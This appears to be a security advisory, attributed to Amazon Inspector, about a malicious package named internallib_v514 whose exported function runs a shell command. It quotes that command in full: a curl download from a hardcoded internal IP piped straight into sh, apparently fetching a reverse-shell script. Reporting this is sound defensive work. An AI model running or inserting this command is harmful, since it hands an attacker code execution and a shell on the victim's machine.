internallib_v514 @1.0.0

Summary

index.js line 2 defines an exported command function that calls require('child_process').execSync("curl http://10.0.70.90/rev.sh | sh") , synchronously downloading a shell script from a hardcoded internal bare-IP address over plaintext HTTP and piping it into sh . The script name rev.sh is consistent with a reverse-shell payload. Any consumer that requires this package and invokes the exported function executes attacker-controlled code delivered from that host, with no integrity check, no TLS, and no pinning. The fetched bytes originate from a non-registry, non-publisher endpoint and are executed directly by a shell.

Source: amazon-inspector (ae39104ad6f972db3cbd895132ea9551b5f0d9b92709e3f2e09569b73dc4ba88)